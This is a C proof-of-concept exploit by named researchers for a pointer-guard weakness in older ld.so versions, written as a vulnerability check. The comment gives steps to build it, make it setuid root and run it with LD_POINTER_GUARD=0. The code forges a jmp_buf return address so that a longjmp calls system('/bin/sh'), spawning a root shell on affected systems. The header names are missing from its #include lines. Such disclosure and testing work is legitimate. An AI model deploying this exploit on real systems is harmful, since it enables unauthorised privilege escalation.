/* * $FILE: poc_pointer_dynamic_vul.c * * Comment: Proof of concept for dyamic linker (ld.so) versions <= 2.22.90 * * * $VERSION$ * * Author: Hector Marco * Ismael Ripoll * * * Steps: * * $ gcc poc_pointer_dynamic_vul.c -o poc_pointer_dynamic_vul * $ sudo chown root:root poc_pointer_dynamic_vul * $ sudo chmod u+s poc_pointer_dynamic_vul * $ LD_POINTER_GUARD=0 ./poc_pointer_dynamic_vul * * If you got a shell your system is vulnerable. * * $LICENSE: * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include #include #include #include #ifdef __i386__ #define ROTATE 0x9 #define PC_ENV_OFFSET 0x14 #elif __x86_64__ #define ROTATE 0x11 #define PC_ENV_OFFSET 0x38 #elif __arm__ #define ROTATE 0x0 #define PC_ENV_OFFSET 0x24 #else #error The exploit does not support this architecture #endif unsigned long rol(uintptr_t value) { return (value << ROTATE) | (value >> (__WORDSIZE - ROTATE)); } int hacked(){ printf("[+] hacked !!\n"); system("/bin/sh"); } int main(void){ jmp_buf env; uintptr_t *ptr_ret_env = (uintptr_t*) (((uintptr_t) env) + PC_ENV_OFFSET); printf("[+] Exploiting ...\n"); if(setjmp(env) == 1){ printf("[-] Exploit failed.\n"); return 0; } /*Overwrite env return address */ *ptr_ret_env = rol((uintptr_t)hacked); longjmp(env, 1); printf("[-] Exploit failed.\n"); return 0; }